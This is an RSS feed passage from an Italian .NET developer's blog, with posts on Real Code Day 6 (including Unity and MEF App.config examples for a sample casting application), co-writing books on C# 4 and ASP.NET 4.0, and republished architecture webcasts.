<?xml version="1.0" encoding="iso-8859-15"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/"><channel><title>blogs.ASPItalia.com</title><link>http://blogs.aspitalia.com//rickyvr//</link><description>blogs.ASPItalia.com</description><language>it-it</language><copyright>1998-2012 ASPItalia.com/blogs.ASPItalia.com</copyright><generator>Generated by feed.ASPItalia.com 'Cortana' 2012.1.31</generator><sy:updatePeriod>hourly</sy:updatePeriod><sy:updateFrequency>1</sy:updateFrequency><sy:updateBase>1998-01-01T12:00+00:00</sy:updateBase><lastBuildDate>Sun, 22 May 2011 19:10:00 GMT</lastBuildDate><image><title>blogs.ASPItalia.com</title><url>http://gui.aspitalia.com/images/aspitalia/syndication.gif</url><link>http://blogs.aspitalia.com//rickyvr//</link></image><item><title>Real Code Day 6: slide e codice sorgente</title><link>http://blogs.aspitalia.com/rickyvr/post2702/Real-Code-Day-6-Slide-Codice-Sorgente.aspx</link><pubDate>Sun, 22 May 2011 19:10:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2702" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Nel ringraziare tutti coloro che sono intervenuti e chi in questi giorni ha espresso giudizi positivi sul nostro RCD6, vi confermo che le slide delle mie due sessioni sono online presso la &lt;a href="http://www.aspitalia.com/eventi/31/Real-Code-Day-Firenze.aspx" target="_blank"&gt;pagina dedicata all'evento&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Vi ricordo le novità che riguardano la nostra applicazione di esempio &lt;strong&gt;Model Virtual Casting&lt;/strong&gt;&amp;#xa0;e che sono state presentate nel corso della giornata:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;composizione dei repository con MEF (Managed Extensibility Framework);&lt;/li&gt;&lt;li&gt;object model POCO e utilizzo di Entity Framework 4.1;&lt;/li&gt;&lt;li&gt;sito web adattato a HTML5;&lt;/li&gt;&lt;li&gt;rimosso Silverlight dal front-end per un uso nel back-office avanzato;&lt;/li&gt;&lt;li&gt;back-office distribuito anche come applicazione OOB (Out-Of-Browser);&lt;/li&gt;&lt;li&gt;porting su Azure;&lt;/li&gt;&lt;li&gt;versione mobile web, ottimizzata per iPhone, iPad e browser HTML5;&lt;/li&gt;&lt;li&gt;due applicazioni Windows Phone 7 per pubblicizzare l'agenzia:&lt;/li&gt;&lt;ol&gt;&lt;li&gt;gioco fatto in XNA (Ninja Braaa);&lt;/li&gt;&lt;li&gt;applicazione per consultare il catalogo.&lt;/li&gt;&lt;/ol&gt;&lt;/ul&gt;&lt;br /&gt;Per quanto riguarda quello che ho specificatamente presentato nella mia sessione tecnica, vi ricordo che tutto il codice è già disponibile presso il &lt;a href="http://modelvirtualcasting.codeplex.com/SourceControl/list/changesets" target="_blank"&gt;sito dedicato all'applicazione&lt;/a&gt; su CodePlex.&lt;p&gt;&lt;/p&gt;&lt;p&gt;Per testare l'iniezione delle dipendenze con&amp;#xa0;&lt;strong&gt;Unity 2.0&lt;/strong&gt; attraverso il progetto di test &lt;strong&gt;ASPItalia.ModelVirtualCasting.Test&lt;/strong&gt;, al fine di caricare i repository fake presenti nell'assembly &lt;strong&gt;ASPItalia.ModelVirtualCasting.Fake&lt;/strong&gt;, il file &lt;strong&gt;App.config&lt;/strong&gt;&amp;#xa0;va configurato&amp;#xa0;come segue:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;unity&gt;&lt;br /&gt;&amp;#xa0; &lt;containers&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &lt;container&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &lt;types&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0; &lt;type type="ASPITALIA.ModelVirtualCasting.Cache.ICacheBuilder, ASPItalia.ModelVirtualCasting.Cache" mapto="ASPITALIA.ModelVirtualCasting.Cache.Providers.InMemory.MemoryCacheBuilder, ASPItalia.ModelVirtualCasting.Cache.Providers.InMemory"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ICandidateRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.CandidateRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IModelRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.ModelRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.INewsRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.NewsRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IRequestRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.RequestRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ICountryRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.CountryRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IJobLevelRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.JobLevelRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IJobTypeRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.JobTypeRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ILanguageRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.LanguageRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IPersonRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.PersonRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IUserRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.UserRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IUserRoleRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.UserRoleRepository, ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0;&lt;/types&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &lt;/container&gt;&lt;br /&gt;&amp;#xa0; &lt;/containers&gt;&lt;br /&gt;&lt;/unity&gt;&lt;br /&gt;&amp;#xa0; &lt;br /&gt;&lt;appSettings&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="exceptionLogEnabled" value="true"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryFactoryType" value="Unity"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryAssemblyName" value="ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/add&gt;&lt;br /&gt;&lt;/appSettings&gt;&lt;br /&gt;&amp;#xa0;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;oppure, allo scopo di caricare le implementazioni dei repository relative a Entity Framework presenti nell'assembly&amp;#xa0;&lt;strong&gt;ASPItalia.ModelVirtualCasting.EntityFramework&lt;/strong&gt;, la configurazione deve essere la seguente:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;unity&gt;&lt;br /&gt;&amp;#xa0; &lt;containers&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &lt;container&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &lt;types&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0; &lt;type type="ASPITALIA.ModelVirtualCasting.Cache.ICacheBuilder, ASPItalia.ModelVirtualCasting.Cache" mapto="ASPITALIA.ModelVirtualCasting.Cache.Providers.InMemory.MemoryCacheBuilder, ASPItalia.ModelVirtualCasting.Cache.Providers.InMemory"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ICandidateRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.CandidateRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IModelRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.ModelRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.INewsRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.NewsRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IRequestRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.RequestRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ICountryRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.CountryRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IJobLevelRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.JobLevelRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IJobTypeRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.JobTypeRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.ILanguageRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.LanguageRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IPersonRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.PersonRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IUserRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.UserRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.Common.IUserRoleRepository, ASPItalia.ModelVirtualCasting" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.UserRoleRepository, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0; &amp;#xa0;&amp;#xa0;&lt;type type="ASPItalia.ModelVirtualCasting.EntityFramework.IContextContainer, ASPItalia.ModelVirtualCasting.EntityFramework" mapto="ASPItalia.ModelVirtualCasting.EntityFramework.ThreadContextContainer, ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/type&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &amp;#xa0;&lt;/types&gt;&lt;br /&gt;&amp;#xa0; &amp;#xa0; &lt;/container&gt;&lt;br /&gt;&amp;#xa0; &lt;/containers&gt;&lt;br /&gt;&lt;/unity&gt;&lt;br /&gt;&amp;#xa0; &lt;br /&gt;&lt;appSettings&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="exceptionLogEnabled" value="true"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryFactoryType" value="Unity"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryAssemblyName" value="ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/add&gt;&lt;br /&gt;&lt;/appSettings&gt;&lt;br /&gt;&amp;#xa0;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Per testare la composizione con il &lt;strong&gt;Managed Extensibility Framework&lt;/strong&gt;&amp;#xa0;attraverso il progetto di test&amp;#xa0;&lt;strong&gt;ASPItalia.ModelVirtualCasting.Test&lt;/strong&gt;, al fine di caricare i repository fake presenti nell'assembly&amp;#xa0;&lt;strong&gt;ASPItalia.ModelVirtualCasting.Fake&lt;/strong&gt;,&amp;#xa0;il file&amp;#xa0;&lt;strong&gt;App.config&lt;/strong&gt;&amp;#xa0;va configurato&amp;#xa0;come segue:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;appSettings&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="exceptionLogEnabled" value="true"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryFactoryType" value="Mef"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryAssemblyName" value="ASPItalia.ModelVirtualCasting.Fake"&gt;&lt;/add&gt;&lt;br /&gt;&lt;/appSettings&gt;&lt;br /&gt;&amp;#xa0;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;oppure, allo scopo di caricare&amp;#xa0;le implementazioni dei repository relative a&amp;#xa0;Entity Framework presenti nell'assembly&amp;#xa0;&lt;strong&gt;ASPItalia.ModelVirtualCasting.EntityFramework&lt;/strong&gt;, la configurazione deve essere la seguente:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;appSettings&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="exceptionLogEnabled" value="true"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryFactoryType" value="Mef"&gt;&lt;/add&gt;&lt;br /&gt;&amp;#xa0; &lt;add key="repositoryAssemblyName" value="ASPItalia.ModelVirtualCasting.EntityFramework"&gt;&lt;/add&gt;&lt;br /&gt;&lt;/appSettings&gt;&lt;br /&gt;&amp;#xa0;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Enjoy!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Model_Virtual_Casting/" rel="tag"&gt;Model Virtual Casting&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Real_Code_Day_6/" rel="tag"&gt;Real Code Day 6&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2702/Real-Code-Day-6-Slide-Codice-Sorgente.aspx"&gt;&lt;em&gt;Real Code Day 6: slide e codice sorgente&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi, Model Virtual Casting, Real Code Day 6</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2702/Real-Code-Day-6-Slide-Codice-Sorgente.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2702/Real-Code-Day-6-Slide-Codice-Sorgente.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2702.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2702</trackback:ping></item><item><title>Il nostro processo di stesura dei libri: un caso di successo</title><link>http://blogs.aspitalia.com/rickyvr/post2606/Processo-Stesura-Libri-Caso-Successo.aspx</link><pubDate>Wed, 07 Apr 2010 10:51:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2606" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Nel mese di gennaio 2010 sono entrato a far parte dell'ambizioso progetto editoriale che riguarda i &lt;a href="http://g.aspitalia.com/landings/hoepli.aspx"&gt;tre libri dedicati ai linguaggi C# 4 e VB 10 e ad ASP.NET 4.0&lt;/a&gt; che saranno di prossima pubblicazione a cura della casa editrice HOEPLI. Al di là del fatto che per me è una enorme soddisfazione&amp;#xa0; poter scrivere per una casa editrice così rinomata in Italia, ancora una volta mi trovo a cimentarmi nella stesura di un libro (in questo caso, addirittura di tre) con i miei &amp;quot;compagni di merende&amp;quot; dopo quelli usciti negli scorsi anni. Non vi nascondo che si tratta di una attività molto impegnativa e stressante, sotto tutti i punti di vista. Il tempo è relativamente poco, le scadenze una dietro l'altra, gli argomenti da trattare tanti, ma per fortuna siamo in tanti autori. In ogni caso ci vuole coordinamento ed affiatamento. Se il secondo non manca by design :), devo sottilineare l'immenso lavoro che sta facendo &lt;a href="http://blogs.aspitalia.com/daniele/"&gt;Daniele&lt;/a&gt; nel coordinare i vari autori e nel gestire le varie criticità che inevitabilmente in occasioni come queste si vengono a creare.&lt;/p&gt;&lt;p&gt;Stiamo usando da mesi Visual Studio Team System 2010 per gestire tutti i task, i capitoli in versione draft e pre-release, tutto il codice relativo agli esempi e le immagini. Abbiamo definito un processo estremamente dettagliato, composto da diverse fasi e passaggi per assicurare il massimo della qualità di quello che scriviamo. Abbiamo ben due revisioni tecniche per capitolo e una completa revisione linguistica. E' davvero singolare come abbiamo &amp;quot;piegato&amp;quot; lo strumento al nostro processo di pubblicazione. Del resto la necessità nell'uso di uno strumento deve essere sempre dettata da motivazioni che vanno ben al di là delle semplici funzionalità fornite dal tool. Insomma prima viene il processo, poi lo strumento!&lt;/p&gt;&lt;p&gt;Ci stiamo impegnando tutti in modo molto evidente ed importante e, nonostante le difficoltà dovute alle scadenze serrate, stiamo rispettando tutte le consegne. E siamo in sette autori da coordinare insieme!!! Non c'è che dire, da un punto di vista gestionale, questo progetto rappresenta per me un caso di successo notevole e, ancora una volta, una situazione in cui ho avuto modo di imparare molto. Del resto con un approccio del genere non potrebbe andare diversamente. Così come avviene nel software, anche nella stesura di un libro lo strumento può fornire un aiuto, ma, come capita spesso, sono le persone e l'approccio a fare la differenza. Non mi stuferò mai di ripeterlo (da &amp;quot;bravo&amp;quot; architetto)...&lt;/p&gt;&lt;p&gt;Mi auguro che la qualità del nostro processo di stesura traspaia nelle pagine dei libri anche per i lettori che ci vorranno dare fiducia. Per fare un prodotto di qualità, occorre un processo di qualità. E in questo caso lo stiamo facendo, davvero!!! &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/ASP.NET_4.0_Guida_completa/" rel="tag"&gt;ASP.NET 4.0 Guida completa&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/C#_4_Guida_completa/" rel="tag"&gt;C# 4 Guida completa&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Visual_Basic_2010_Guida_completa/" rel="tag"&gt;Visual Basic 2010 Guida completa&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2606/Processo-Stesura-Libri-Caso-Successo.aspx"&gt;&lt;em&gt;Il nostro processo di stesura dei libri: un caso di successo&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Pubblicazioni, ASP.NET 4.0 Guida completa, C# 4 Guida completa, Visual Basic 2010 Guida completa</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2606/Processo-Stesura-Libri-Caso-Successo.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2606/Processo-Stesura-Libri-Caso-Successo.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2606.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2606</trackback:ping></item><item><title>A volte ritornano!</title><link>http://blogs.aspitalia.com/rickyvr/post2589/Volte-Ritornano.aspx</link><pubDate>Mon, 08 Feb 2010 22:45:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2589" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Con vero piacere ho visto in questi giorni tornare in linea su BEIT&amp;#xa0;i miei webcast del 2006 e 2007 riguardanti i temi architetturali, in particolare il disegno object oriented, i pattern e UML. A suo tempo ebbero&amp;#xa0;un certo seguito perche' erano tra i primi del loro genere e unici come tipologia di contenuti. Ancora oggi molti mi chiedono di poterli rivedere; ebbene siete stati accontentati!&amp;#xa0;Ringrazio per questo il buon &lt;a href="http://blogs.msdn.com/pietrobr/default.aspx" target="_blank"&gt;Pietro Brambati&lt;/a&gt; che si e' prodigato non poco affinche' i webcast tornassero in linea. Anche se sono un po' datati, data la natura trasversale e generale dell'argomento, i webcast in questione sono piu' che mai attuali. Sono particolarmente legato a loro perche' mi sono divertito un sacco a farli a suo tempo&amp;#xa0;e sono molto&amp;#xa0;contento che siano stati rispolverati e resi disponibili sul sito di BEIT.&lt;/p&gt;&lt;p&gt;Non mi resta che segnalare i link per coloro che volessero guardarseli... Se avete domande, poi io sono qui!&amp;#xa0;;)&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.microsoft.com/italy/beit/Msdn.aspx?video=dadd14ee-0d06-4ad4-ae93-0f2225c629b7" target="_blank"&gt;Introduzione ai design pattern&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.microsoft.com/italy/beit/Msdn.aspx?video=aaf0ed35-049a-4e26-a2f9-288fda83ede9" target="_blank"&gt;UML reloaded&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.microsoft.com/italy/beit/Msdn.aspx?video=618b04c8-671c-449f-a1a2-9c383bdc3173" target="_blank"&gt;Design principles&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Enjoy!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Architettura/" rel="tag"&gt;Architettura&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Pattern/" rel="tag"&gt;Pattern&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2589/Volte-Ritornano.aspx"&gt;&lt;em&gt;A volte ritornano!&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Architettura, Pattern</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2589/Volte-Ritornano.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2589/Volte-Ritornano.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2589.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2589</trackback:ping></item><item><title>Ripresa delle pubblicazioni sul nostro network</title><link>http://blogs.aspitalia.com/rickyvr/post2537/Ripresa-Pubblicazioni-Network.aspx</link><pubDate>Wed, 02 Sep 2009 15:00:00 GMT</pubDate><description>&lt;img src="http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2537" border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Dopo la pausa estiva, il&amp;#xa0;prossimo 14 settembre riprendono le pubblicazioni (script e articoli)&amp;#xa0;sul nostro network. Come ricordato da Daniele &lt;a href="http://blogs.aspitalia.com/daniele/post2520/Cambiamenti-Nelorganizzazione-ASPItalia.com-Network-Arrivi-Partenze.aspx" target="_blank"&gt;qui&lt;/a&gt;, l'organizzazione della redazione da quest'anno&amp;#xa0;ha subito qualche&amp;#xa0;cambiamento. Dopo il &amp;quot;passo indietro&amp;quot; fatto da Daniele, la novità principale è senz'altro&amp;#xa0;rappresentata dall'arrivo di &lt;a href="http://cradle.aspitalia.com/" target="_blank"&gt;Marco De Sanctis&lt;/a&gt;&amp;#xa0;quale responsabile della pubblicazione degli script per il sito di ASPItalia.com. Io sono diventato il supervisore e&amp;#xa0;il responsabile&amp;#xa0;per gli&amp;#xa0;articoli&amp;#xa0;di tutto il network,&amp;#xa0;anche se&amp;#xa0;la pubblicazione sui nostri quattro siti&amp;#xa0;resta comunque&amp;#xa0;a carico degli attuali content manager come prima.&lt;/p&gt;&lt;p&gt;In linea di massima abbiamo già delineato una scaletta di pubblicazione ricca e variegata, cercando di andare a trattare argomenti di sicuro interesse che, speriamo, saranno di vostro gradimento. Usciranno articoli e script sulle&amp;#xa0; tecnologie attuali&amp;#xa0;in attesa dell'uscita della versione Beta 2 di Visual Studio 2010. Non mancheranno contenuti di natura architetturale, che, come testimoniano le numerose letture, sono risultati molto&amp;#xa0;apprezzati dai nostri lettori.&lt;/p&gt;&lt;p&gt;Non mi resta che darvi appuntamento sulle pagine del nostro network. Buona lettura e... buon divertimento!&amp;#xa0;:)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/ASPItalia.com/" rel="tag"&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Continua a leggere &lt;a href="http://blogs.aspitalia.com/rickyvr/post2537/Ripresa-Pubblicazioni-Network.aspx"&gt;&lt;em&gt;Ripresa delle pubblicazioni sul nostro network&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2012 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>ASPItalia.com</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2537/Ripresa-Pubblicazioni-Network.aspx</guid><slash:comments>0</slash:comments><wfw:comment>http://blogs.aspitalia.com/rickyvr/post2537/Ripresa-Pubblicazioni-Network.aspx#feedback</wfw:comment><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2537.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2537</trackback:ping></item><item><title>.NET Framework 4.0 Beta 1: Parallel 